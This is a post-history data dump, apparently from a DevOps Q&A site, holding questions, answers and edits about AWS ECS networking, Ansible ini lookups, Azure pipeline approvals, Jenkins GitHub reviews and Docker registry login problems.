  <row Id="36784" PostHistoryTypeId="3" PostId="11971" RevisionGUID="ff07bee7-8ceb-4f39-a3a7-e4b430f3b910" CreationDate="2020-07-06T20:54:33.677" UserId="22987" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;github&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36788" PostHistoryTypeId="2" PostId="11973" RevisionGUID="f8ce0530-f064-4b4e-8522-345bc7fa7afe" CreationDate="2020-07-07T14:18:53.270" UserId="23069" Text="Suppose I have two apps launched via the AWS ECS cluster (using Docker containers).&#xD;&#xA;&#xD;&#xA;I want to expose one app to the world via a public IP (and I do it via the AWS load balancer) but the other one I want to be able to access only internally, so that it would not have any public IPs and would only be accessible internally.&#xD;&#xA;&#xD;&#xA;Is this possible to do that at all? I suppose it should be easier via docker containers because I could possibly make them communicate to each other by exposing a localhost via&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;--network=&quot;host&quot; in docker run&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But that would work if I run the two apps on the same EC2 instance.&#xD;&#xA;&#xD;&#xA;What if I run them on separate instances but they are using the same load balancer or — separate instances but in the same AWS zone?&#xD;&#xA;&#xD;&#xA;What setting would I use in ECS to expose this app only via the localhost?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36789" PostHistoryTypeId="1" PostId="11973" RevisionGUID="f8ce0530-f064-4b4e-8522-345bc7fa7afe" CreationDate="2020-07-07T14:18:53.270" UserId="23069" Text="Accessing a AWS docker instance via localhost only?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36790" PostHistoryTypeId="3" PostId="11973" RevisionGUID="f8ce0530-f064-4b4e-8522-345bc7fa7afe" CreationDate="2020-07-07T14:18:53.270" UserId="23069" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36791" PostHistoryTypeId="2" PostId="11974" RevisionGUID="f6554d47-984b-4a50-a4d8-ac7093ce45e6" CreationDate="2020-07-07T18:25:07.333" UserId="21920" Text="Have you tried using `awsvpc` mode? https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-networking.html&#xD;&#xA;&#xD;&#xA;You can follow this tutorial - https://docs.aws.amazon.com/AmazonECS/latest/userguide/create-public-private-vpc.html&#xD;&#xA;&#xD;&#xA;You need a VPC, with at least two subnets, one private and one public. After that the sky is the limit ...&#xD;&#xA;&#xD;&#xA;If you need internet access from the private subnet, create a NAT Gateway in the public subnet, and route traffic from the private subnet to 0.0.0.0, via the NAT Gateway - https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36792" PostHistoryTypeId="5" PostId="11974" RevisionGUID="cbaadb1a-a4cc-4b07-93ba-a85f2b658a87" CreationDate="2020-07-07T18:49:06.337" UserId="21920" Comment="added 191 characters in body" Text="Have you tried using `awsvpc` mode? https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-networking.html&#xD;&#xA;&#xD;&#xA;You can follow this tutorial - https://docs.aws.amazon.com/AmazonECS/latest/userguide/create-public-private-vpc.html&#xD;&#xA;&#xD;&#xA;You need a VPC, with at least two subnets, one private and one public. After that the sky is the limit ...&#xD;&#xA;&#xD;&#xA;If you need internet access from the private subnet, create a NAT Gateway in the public subnet, and route traffic from the private subnet to 0.0.0.0, via the NAT Gateway - https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html&#xD;&#xA;&#xD;&#xA;P.S - I never use network mode `host` with ECS, you should read more about it here - https://docs.docker.com/network/host/ I didn't find a strong use case for using it, except for testing purposes" ContentLicense="CC BY-SA 4.0" />
  <row Id="36793" PostHistoryTypeId="2" PostId="11975" RevisionGUID="13100bd0-5dcd-4975-a741-d5e0259c2690" CreationDate="2020-07-07T19:19:07.587" UserId="10769" Text="It's would be better if you will use `ClusterIP` type as a service than apply `Ingress` resource on it&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/services-networking/ingress/#single-service-ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="36798" PostHistoryTypeId="2" PostId="11976" RevisionGUID="588cc440-90cb-4b4c-9cbb-dc268e52a233" CreationDate="2020-07-08T10:20:16.223" UserId="23051" Text="Since the ini lookup plugin only reads files local to the controlling host, the remote file needs to be fetched locally before it can be read and set_fact has to be used to put its content into a variable, which results in the following:&#xD;&#xA;&#xD;&#xA;    - block:&#xD;&#xA;      - name: &quot;Retrieve remote ini file&quot;&#xD;&#xA;        fetch:&#xD;&#xA;          src: /path_to/ini_file&#xD;&#xA;          dest: /tmp/ansible&#xD;&#xA;      - name: &quot;Read and store my value&quot;&#xD;&#xA;        set_fact:&#xD;&#xA;          my_variable: &quot;{{ lookup( 'ini', 'myParam section=mySection file=/tmp/ansible/{{ inventory_hostname }}/path_to/ini_file' ) }}&quot;&#xD;&#xA;&#xD;&#xA;Then the parameter is available as variable and can be used further in the playbook&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_variable&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36799" PostHistoryTypeId="6" PostId="11959" RevisionGUID="10344a49-5ce5-40ae-be69-3d6b80b1389d" CreationDate="2020-07-08T10:36:15.820" UserId="6775" Comment="wrong tags" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;ingress&gt;&lt;google-kubernetes-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36800" PostHistoryTypeId="24" PostId="11959" RevisionGUID="10344a49-5ce5-40ae-be69-3d6b80b1389d" CreationDate="2020-07-08T10:36:15.820" Comment="Proposed by 6775 approved by 40 edit id of 1243" ContentLicense="CC BY-SA 4.0" />
  <row Id="36801" PostHistoryTypeId="5" PostId="11967" RevisionGUID="d36b8da7-bf27-41a7-9499-1d0d581c2526" CreationDate="2020-07-08T11:33:22.793" UserId="23051" Comment="added 3 characters in body" Text="I would like to set a variable value in a playbook reading it from an ini file, possibly failing the play if the file is not found or the value is missing in the file.&#xD;&#xA;&#xD;&#xA;I have found the ini lookup plugin to read values from ini files but it is not clear to me how to put that into a variable that I can reuse in other tasks without having to read it again.&#xD;&#xA;&#xD;&#xA;I could think of something like:&#xD;&#xA;&#xD;&#xA;    - name: lookup variable from ini&#xD;&#xA;      ini:&#xD;&#xA;        name: myParam&#xD;&#xA;        section: mySection&#xD;&#xA;        file: /path_to/ini_file&#xD;&#xA;      register: my_variable&#xD;&#xA;&#xD;&#xA;But since ini is not a module this does not work.&#xD;&#xA;&#xD;&#xA;Moreover, the ini file to be read from is located on the remote system, the ini plugin howhever, seems to look on the control host for it (from the warning &quot;Unable to find '/path_to/ini_file' in expected paths)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36802" PostHistoryTypeId="2" PostId="11977" RevisionGUID="0211b5fe-d374-4ae1-857d-8a89d59cc98f" CreationDate="2020-07-08T12:40:23.383" UserId="16782" Text="I have two separate environments under my repository:&#xD;&#xA;- development (Approvals are not configured but the environment exists)&#xD;&#xA;- production (Approvals rules are configured via dev.azure.com UI)&#xD;&#xA;&#xD;&#xA;The problem is, even we try to deploy to the development environment, the pipeline asking for approval. How we can fix the issue? Below, you can see simple two deploy jobs from YAML:&#xD;&#xA;&#xD;&#xA;    jobs:&#xD;&#xA;        - deployment: Deploy_Dev&#xD;&#xA;          displayName: 'Deploy Develop to Dev Machine'&#xD;&#xA;          pool:&#xD;&#xA;            name: Development&#xD;&#xA;          condition: contains(variables['Build.SourceBranch'], 'refs/heads/develop')&#xD;&#xA;          environment: 'development'&#xD;&#xA;          strategy:&#xD;&#xA;            runOnce:&#xD;&#xA;              deploy:&#xD;&#xA;                steps:&#xD;&#xA;                  - checkout: none&#xD;&#xA;                  - task: Bash@3&#xD;&#xA;                    inputs:&#xD;&#xA;                      targetType: 'inline'&#xD;&#xA;                      script: |&#xD;&#xA;                        echo $(hostname)&#xD;&#xA;                      workingDirectory: '/var/www'&#xD;&#xA;                      noProfile: false&#xD;&#xA;                      noRc: false&#xD;&#xA;    &#xD;&#xA;        - deployment: Deploy_Master_to_Hotfix&#xD;&#xA;          displayName: 'Deploy Master to Hotfix Machine'&#xD;&#xA;          pool:&#xD;&#xA;            name: Hotfix&#xD;&#xA;          condition: contains(variables['Build.SourceBranch'], 'refs/heads/master')&#xD;&#xA;          environment: 'production'&#xD;&#xA;          strategy:&#xD;&#xA;            runOnce:&#xD;&#xA;              deploy:&#xD;&#xA;                steps:&#xD;&#xA;                  - checkout: none&#xD;&#xA;                  - task: Bash@3&#xD;&#xA;                    inputs:&#xD;&#xA;                      targetType: 'inline'&#xD;&#xA;                      script: |&#xD;&#xA;                          echo $(hostname)         &#xD;&#xA;                      workingDirectory: '/var/www'&#xD;&#xA;                      noProfile: false&#xD;&#xA;                      noRc: false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36803" PostHistoryTypeId="1" PostId="11977" RevisionGUID="0211b5fe-d374-4ae1-857d-8a89d59cc98f" CreationDate="2020-07-08T12:40:23.383" UserId="16782" Text="Azure deploy pipeline with/without approval on separated enviroments" ContentLicense="CC BY-SA 4.0" />
  <row Id="36804" PostHistoryTypeId="3" PostId="11977" RevisionGUID="0211b5fe-d374-4ae1-857d-8a89d59cc98f" CreationDate="2020-07-08T12:40:23.383" UserId="16782" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;deployment&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36808" PostHistoryTypeId="5" PostId="6273" RevisionGUID="3f7866c7-d2de-44c3-8fc4-f3b9ee768b74" CreationDate="2020-07-08T21:00:07.690" UserId="23091" Comment="easier formatting for readability" Text="1. Yes, I opened a support ticket and the AWS representative said that&#xD;&#xA;Fargate is really intended as a stateless container solution. I took&#xD;&#xA;that to mean it's more of a self-made Lambda rather than a managed&#xD;&#xA;Docker solution. The suggestion to add persistent storage was taken&#xD;&#xA;under consideration and will be added to the feature request list.&#xD;&#xA;&#xD;&#xA;    You can add the storage also at the time of container configuration may be you can use NFS or you can upload data from fargate to s3.&#xD;&#xA;&#xD;&#xA;2. With bind mounts, a file or directory on the host machine is mounted into a container. Bind mount host volumes are supported when using either the EC2 or Fargate launch types. Fargate tasks only support nonpersistent storage volumes, so the host and sourcePath fields are not supported. For more information, see [fargate task storage][1].&#xD;&#xA;&#xD;&#xA;4. Your Amazon ECS service can optionally be configured to use Amazon ECS Service Discovery. Service discovery uses AWS Cloud Map API actions to manage HTTP and DNS namespaces for your Amazon ECS services. To create service discovery you can refer to [here][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/fargate-task-storage.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-service-discovery.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36809" PostHistoryTypeId="24" PostId="6273" RevisionGUID="3f7866c7-d2de-44c3-8fc4-f3b9ee768b74" CreationDate="2020-07-08T21:00:07.690" Comment="Proposed by 23091 approved by 40 edit id of 1244" ContentLicense="CC BY-SA 4.0" />
  <row Id="36810" PostHistoryTypeId="5" PostId="11977" RevisionGUID="af9183ad-83be-4abd-956b-9c109355e3e7" CreationDate="2020-07-09T07:20:55.360" UserId="22373" Comment="Removed unnecessary words" Text="I have two separate environments under my repository:&#xD;&#xA;- development (Approvals are not configured but the environment exists)&#xD;&#xA;- production (Approvals rules are configured via dev.azure.com UI)&#xD;&#xA;&#xD;&#xA;The problem is, even we try to deploy to the development environment, the pipeline asking for approval. How we can fix the issue? Below, you can see simple two deploy jobs from YAML:&#xD;&#xA;&#xD;&#xA;    jobs:&#xD;&#xA;        - deployment: Deploy_Dev&#xD;&#xA;          displayName: 'Deploy Develop to Dev Machine'&#xD;&#xA;          pool:&#xD;&#xA;            name: Development&#xD;&#xA;          condition: contains(variables['Build.SourceBranch'], 'refs/heads/develop')&#xD;&#xA;          environment: 'development'&#xD;&#xA;          strategy:&#xD;&#xA;            runOnce:&#xD;&#xA;              deploy:&#xD;&#xA;                steps:&#xD;&#xA;                  - checkout: none&#xD;&#xA;                  - task: Bash@3&#xD;&#xA;                    inputs:&#xD;&#xA;                      targetType: 'inline'&#xD;&#xA;                      script: |&#xD;&#xA;                        echo $(hostname)&#xD;&#xA;                      workingDirectory: '/var/www'&#xD;&#xA;                      noProfile: false&#xD;&#xA;                      noRc: false&#xD;&#xA;    &#xD;&#xA;        - deployment: Deploy_Master_to_Hotfix&#xD;&#xA;          displayName: 'Deploy Master to Hotfix Machine'&#xD;&#xA;          pool:&#xD;&#xA;            name: Hotfix&#xD;&#xA;          condition: contains(variables['Build.SourceBranch'], 'refs/heads/master')&#xD;&#xA;          environment: 'production'&#xD;&#xA;          strategy:&#xD;&#xA;            runOnce:&#xD;&#xA;              deploy:&#xD;&#xA;                steps:&#xD;&#xA;                  - checkout: none&#xD;&#xA;                  - task: Bash@3&#xD;&#xA;                    inputs:&#xD;&#xA;                      targetType: 'inline'&#xD;&#xA;                      script: |&#xD;&#xA;                          echo $(hostname)         &#xD;&#xA;                      workingDirectory: '/var/www'&#xD;&#xA;                      noProfile: false&#xD;&#xA;                      noRc: false" ContentLicense="CC BY-SA 4.0" />
  <row Id="36811" PostHistoryTypeId="24" PostId="11977" RevisionGUID="af9183ad-83be-4abd-956b-9c109355e3e7" CreationDate="2020-07-09T07:20:55.360" Comment="Proposed by 22373 approved by 16782 edit id of 1246" ContentLicense="CC BY-SA 4.0" />
  <row Id="36812" PostHistoryTypeId="2" PostId="11979" RevisionGUID="201dc3aa-749a-4a75-8021-e2aa2fa910e9" CreationDate="2020-07-09T08:00:34.810" UserId="354" Text="I have a Jenkins instance, with credentials for a &quot;robot&quot; github account, which we use to interact with the GitHub API as a team. Typically, **jobs are defined as declarative pipelines**. I am looking for the correct syntax to perform the following steps:&#xD;&#xA;&#xD;&#xA;1. At the start of the run, create a review&#xD;&#xA;2. At the end of each stage, post a review comment, with the status of the stage, _e.g._ &quot;build passed&quot;.&#xD;&#xA;3. If all of the stages pass, approve the pull request.&#xD;&#xA;&#xD;&#xA;I can allow scripted steps, but the pipeline as a whole should be declarative. No shared libraries, and preferably only using commonly-used plugins.&#xD;&#xA;&#xD;&#xA;What would be the correct syntax here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36813" PostHistoryTypeId="1" PostId="11979" RevisionGUID="201dc3aa-749a-4a75-8021-e2aa2fa910e9" CreationDate="2020-07-09T08:00:34.810" UserId="354" Text="How to have jenkins add a review to a pull request" ContentLicense="CC BY-SA 4.0" />
  <row Id="36814" PostHistoryTypeId="3" PostId="11979" RevisionGUID="201dc3aa-749a-4a75-8021-e2aa2fa910e9" CreationDate="2020-07-09T08:00:34.810" UserId="354" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36815" PostHistoryTypeId="2" PostId="11980" RevisionGUID="60119369-69ff-4a0a-acff-74247a7ef93d" CreationDate="2020-07-09T08:15:24.780" UserId="15272" Text="I guess the simplest and direct solution would be to use GitHub API: https://developer.github.com/v3/pulls/reviews/&#xD;&#xA;&#xD;&#xA;But for the requirement you have, PR checks is usually the way to go and you have a plugin that does the API communication for you: https://www.jenkins.io/doc/pipeline/steps/pipeline-githubnotify-step/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36816" PostHistoryTypeId="5" PostId="11979" RevisionGUID="2cb0004d-7200-4705-a6cc-fabe930041a7" CreationDate="2020-07-09T08:26:57.440" UserId="354" Comment="Added something I've tried." Text="I have a Jenkins instance, with credentials for a &quot;robot&quot; github account, which we use to interact with the GitHub API as a team. Typically, **jobs are defined as declarative pipelines**. I am looking for the correct syntax to perform the following steps:&#xD;&#xA;&#xD;&#xA;1. At the start of the run, create a review&#xD;&#xA;2. At the end of each stage, post a review comment, with the status of the stage, _e.g._ &quot;build passed&quot;.&#xD;&#xA;3. If all of the stages pass, approve the pull request.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can allow scripted steps, but the pipeline as a whole should be declarative. No shared libraries, and preferably only using commonly-used plugins.&#xD;&#xA;&#xD;&#xA;&lt;small&gt;_(update with what I have tried)_&lt;/small&gt;&#xD;&#xA;&#xD;&#xA;I have tried using [the pipeline github plugin's review method](https://github.com/jenkinsci/pipeline-github-plugin#review):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pullRequest.review('APPROVE')&#xD;&#xA;```&#xD;&#xA;naively, but this throws errors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What would be the correct syntax here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36817" PostHistoryTypeId="5" PostId="6228" RevisionGUID="c7f8e31c-9403-4394-812d-e0993a6bd76c" CreationDate="2020-07-09T11:48:11.873" UserId="22373" Comment="Removed unnecessary words" Text="I'm new to fargate and even dockers. But I have used dockers for a couple of months. Only now, I am using fargate.&#xD;&#xA;&#xD;&#xA;I create a particular docker instance as follows:&#xD;&#xA;&#xD;&#xA;    docker run -v localHostFolder/configFile:dockerFolder/configFile -v my-vol:/app --restart always --entrypoint &quot;myEntryScript.sh&quot; myDockerImage&#xD;&#xA;&#xD;&#xA;This works well on dockers. What I do here is use a config file from my machine &quot;localHostFolder/configFile&quot; and load it onto the docker instance I create. I want the docker instance to be populated with some config values. &#xD;&#xA;&#xD;&#xA;In addition, I use my-vol:/app to save state data from my docker container so if the container restarts, this data can be used.&#xD;&#xA;&#xD;&#xA;Now, a few questions - &#xD;&#xA;&#xD;&#xA;1. I understand Fargate gives u access to just the container and not the underlying host. If so, how do you accomplish the above?&#xD;&#xA;&#xD;&#xA;2. When I try to create a fargate container, I see an option for volumes, but not sure how it works. In fact I see that the mount-volumes drop down is always empty and don't see an option to create one either. Is this something only an admin can do?&#xD;&#xA;&#xD;&#xA;3. Can we do the above using Fargate at all and if so how? If not using volumes, is there an alternate way to do this?&#xD;&#xA;&#xD;&#xA;4. I also noticed there's something called Service discovery that I think can be used to create a fixed dns record so other aws containers can use the dns host name instead of the IP. Is this possible with Fargate? I see it is doable with ECS, but not tried though." ContentLicense="CC BY-SA 4.0" />
  <row Id="36818" PostHistoryTypeId="24" PostId="6228" RevisionGUID="c7f8e31c-9403-4394-812d-e0993a6bd76c" CreationDate="2020-07-09T11:48:11.873" Comment="Proposed by 22373 approved by 354, 40 edit id of 1245" ContentLicense="CC BY-SA 4.0" />
  <row Id="36819" PostHistoryTypeId="2" PostId="11981" RevisionGUID="5aee09d9-c724-4a2c-87ac-8b7177c28cfa" CreationDate="2020-07-09T12:03:49.937" UserId="7646" Text="I am setting up a new Jenkins as our old one is based on a deprecated base image.&#xD;&#xA;&#xD;&#xA;Dockerfile is:&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:lts-centos7&#xD;&#xA;&#xD;&#xA;    USER root&#xD;&#xA;&#xD;&#xA;    RUN yum -y install docker \&#xD;&#xA;        &amp;&amp; yum clean all&#xD;&#xA;&#xD;&#xA;    USER jenkins&#xD;&#xA;&#xD;&#xA;When I `docker exec ...` into the container and log into our Sonatype Nexus to pull Docker images from it, the successful login does not seem to be heeded by Jenkins afterwards:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker login https://our.nexus.internal:&lt;endpoint&gt;&#xD;&#xA;    Username (jenkins): jenkins&#xD;&#xA;    Password:&#xD;&#xA;    Login Succeeded&#xD;&#xA;    [root@909fb3a3d52c .docker]# pwd&#xD;&#xA;    /root/.docker&#xD;&#xA;    [root@909fb3a3d52c .docker]# cat config.json&#xD;&#xA;    {&#xD;&#xA;        &quot;auths&quot;: {&#xD;&#xA;            &quot;https://our.nexus.internal:&lt;endpoint&gt;&quot;: {&#xD;&#xA;                &quot;auth&quot;: &quot;&lt;CORRECT base64 hash&gt;&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Login has succeeded, the auth credentials are written to /root/.docker/config.json and when I base64-decode them they are correct &quot;jenkins:&lt;password&gt;&quot;.&#xD;&#xA;&#xD;&#xA;However:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;    Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;This will also happen during execution of a Jenkins pipeline (obviously), where job log reports:&#xD;&#xA;&#xD;&#xA;    docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;&#xD;&#xA;    Error response from daemon: Get Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    script returned exit code 1&#xD;&#xA;&#xD;&#xA;I assume this to not be a question about nexus but about how the credentials from docker login are stored and used.&#xD;&#xA;&#xD;&#xA;Sidenote: We have a different Jenkins currently operational which is based on jenkinsci/blueocean:1.22.0 which does NOT display this behaviour. It can docker login fine and docker pull fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="36820" PostHistoryTypeId="1" PostId="11981" RevisionGUID="5aee09d9-c724-4a2c-87ac-8b7177c28cfa" CreationDate="2020-07-09T12:03:49.937" UserId="7646" Text="Jenkins - docker login doesn't seem to persist" ContentLicense="CC BY-SA 4.0" />
  <row Id="36821" PostHistoryTypeId="3" PostId="11981" RevisionGUID="5aee09d9-c724-4a2c-87ac-8b7177c28cfa" CreationDate="2020-07-09T12:03:49.937" UserId="7646" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36822" PostHistoryTypeId="5" PostId="11981" RevisionGUID="43a4b1c6-ded2-4316-bd2f-a584c4ef4b32" CreationDate="2020-07-09T13:17:16.223" UserId="7646" Comment="added finding about docker-compose" Text="I am setting up a new Jenkins as our old one is based on a deprecated base image.&#xD;&#xA;&#xD;&#xA;Dockerfile is:&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:lts-centos7&#xD;&#xA;&#xD;&#xA;    USER root&#xD;&#xA;&#xD;&#xA;    RUN yum -y install docker \&#xD;&#xA;        &amp;&amp; yum clean all&#xD;&#xA;&#xD;&#xA;    USER jenkins&#xD;&#xA;&#xD;&#xA;When I `docker exec ...` into the container and log into our Sonatype Nexus to pull Docker images from it, the successful login does not seem to be heeded by Jenkins afterwards:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker login https://our.nexus.internal:&lt;endpoint&gt;&#xD;&#xA;    Username (jenkins): jenkins&#xD;&#xA;    Password:&#xD;&#xA;    Login Succeeded&#xD;&#xA;    [root@909fb3a3d52c .docker]# pwd&#xD;&#xA;    /root/.docker&#xD;&#xA;    [root@909fb3a3d52c .docker]# cat config.json&#xD;&#xA;    {&#xD;&#xA;        &quot;auths&quot;: {&#xD;&#xA;            &quot;https://our.nexus.internal:&lt;endpoint&gt;&quot;: {&#xD;&#xA;                &quot;auth&quot;: &quot;&lt;CORRECT base64 hash&gt;&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Login has succeeded, the auth credentials are written to /root/.docker/config.json and when I base64-decode them they are correct &quot;jenkins:&lt;password&gt;&quot;.&#xD;&#xA;&#xD;&#xA;However:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;    Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;This will also happen during execution of a Jenkins pipeline (obviously), where job log reports:&#xD;&#xA;&#xD;&#xA;    docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;&#xD;&#xA;    Error response from daemon: Get Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    script returned exit code 1&#xD;&#xA;&#xD;&#xA;I assume this to not be a question about nexus but about how the credentials from docker login are stored and used.&#xD;&#xA;&#xD;&#xA;Sidenote: We have a different Jenkins currently operational which is based on jenkinsci/blueocean:1.22.0 which does NOT display this behaviour. It can docker login fine and docker pull fine.&#xD;&#xA;&#xD;&#xA;**edit1:**&#xD;&#xA;&#xD;&#xA;Running `docker-compose` does work while a manual `docker pull...` will not:&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker login https://nexus:port&#xD;&#xA;    Username: jenkins&#xD;&#xA;    Password:&#xD;&#xA;    Login Succeeded&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker pull nexus:port/company/image:myTag&#xD;&#xA;    Error response from daemon: Get https://nexus:port/v2/company/image/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# cat docker-compose.yml&#xD;&#xA;    version: '3.3'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;    jenkins:&#xD;&#xA;        user: root&#xD;&#xA;        image: nexus:port/company/image:myTag&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker-compose up&#xD;&#xA;&#xD;&#xA;    Creating network &quot;default_default&quot; with the default driver&#xD;&#xA;    Pulling jenkins (nexus:port/company/image:myTag)...&#xD;&#xA;    myTag: Pulling from company/image&#xD;&#xA;    f34b00c7da20: Pull complete&#xD;&#xA;    3f316190de62: Pull complete&#xD;&#xA;    480967924aca: Pull complete&#xD;&#xA;    619ac94672e0: Pull complete&#xD;&#xA;    cb1c6713a236: Pull complete&#xD;&#xA;    55766a17b1c6: Pull complete&#xD;&#xA;    8f6e881b2ef2: Pull complete&#xD;&#xA;    f118a721eee8: Pull complete&#xD;&#xA;    fae3c8e02b83: Pull complete&#xD;&#xA;    093ceb59408d: Pull complete&#xD;&#xA;    e3bd3cbf474d: Pull complete&#xD;&#xA;    41a6f4e5de6d: Pull complete&#xD;&#xA;    aa1aece4c754: Pull complete&#xD;&#xA;    fc897d8ca22f: Pull complete&#xD;&#xA;    Digest: sha256:3fd74169f648784fe960add9c0138e3802a91e82c9b5fdbd734faaeaaef696f9&#xD;&#xA;    Status: Downloaded newer image for nexus:port/company/image:myTag" ContentLicense="CC BY-SA 4.0" />
  <row Id="36823" PostHistoryTypeId="4" PostId="11981" RevisionGUID="23827801-4970-46f1-8f20-9777457800d3" CreationDate="2020-07-09T13:22:34.523" UserId="7646" Comment="added finding about docker-compose" Text="Jenkins - docker login doesn't seem to persist: docker pull won't work but docker-compose can pull without problems" ContentLicense="CC BY-SA 4.0" />
  <row Id="36824" PostHistoryTypeId="6" PostId="11981" RevisionGUID="23827801-4970-46f1-8f20-9777457800d3" CreationDate="2020-07-09T13:22:34.523" UserId="7646" Comment="added finding about docker-compose" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36825" PostHistoryTypeId="2" PostId="11982" RevisionGUID="24e4e310-d926-49d5-a67a-244c1d653776" CreationDate="2020-07-09T15:41:44.170" UserId="23098" Text="I think the answer should be yes to ecdsa but no to ed25519, but that it is currently no to both.&#xD;&#xA;&#xD;&#xA;You can externally generate an ecdsa keypair and load it into ssh/config/ca but vault-1.4.3 cannot sign using it. I haven't tried ed25519.&#xD;&#xA;&#xD;&#xA;Golang's ssh code (which vault uses) doesn't appear to know how to sign with ed25519 but should be able to sign with ecdsa. However, I think there's an issue with an inappropriate default being set elsewhere that means it is always being told to use an rsa-based signing algorithm and hence doomed to fail for ecdsa keys. See:&#xD;&#xA;&#xD;&#xA;https://github.com/hashicorp/vault/issues/8414#issuecomment-656145432&#xD;&#xA;&#xD;&#xA;If I am right, it looks like an easy fix so it may be available soon." ContentLicense="CC BY-SA 4.0" />
  <row Id="36826" PostHistoryTypeId="2" PostId="11983" RevisionGUID="be047c77-6d36-4460-9d3c-e6b172c53ef7" CreationDate="2020-07-09T16:48:16.563" UserId="23100" Text="Based on your output, all of your docker commands are running as root when in general they should be running as the jenkins user. You can try switching the user to jenkins and running the same docker login and pull commands.&#xD;&#xA;&#xD;&#xA;I've used the following in my Jenkins pipeline scripts to log into a Nexus 3 Docker repository (https://docs.cloudbees.com/docs/admin-resources/latest/plugins/docker-workflow):&#xD;&#xA;&#xD;&#xA;    docker.withRegistry('https://docker.mycorp.com/', 'docker-login') {&#xD;&#xA;      git '…'&#xD;&#xA;      docker.build('myapp').push('latest')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
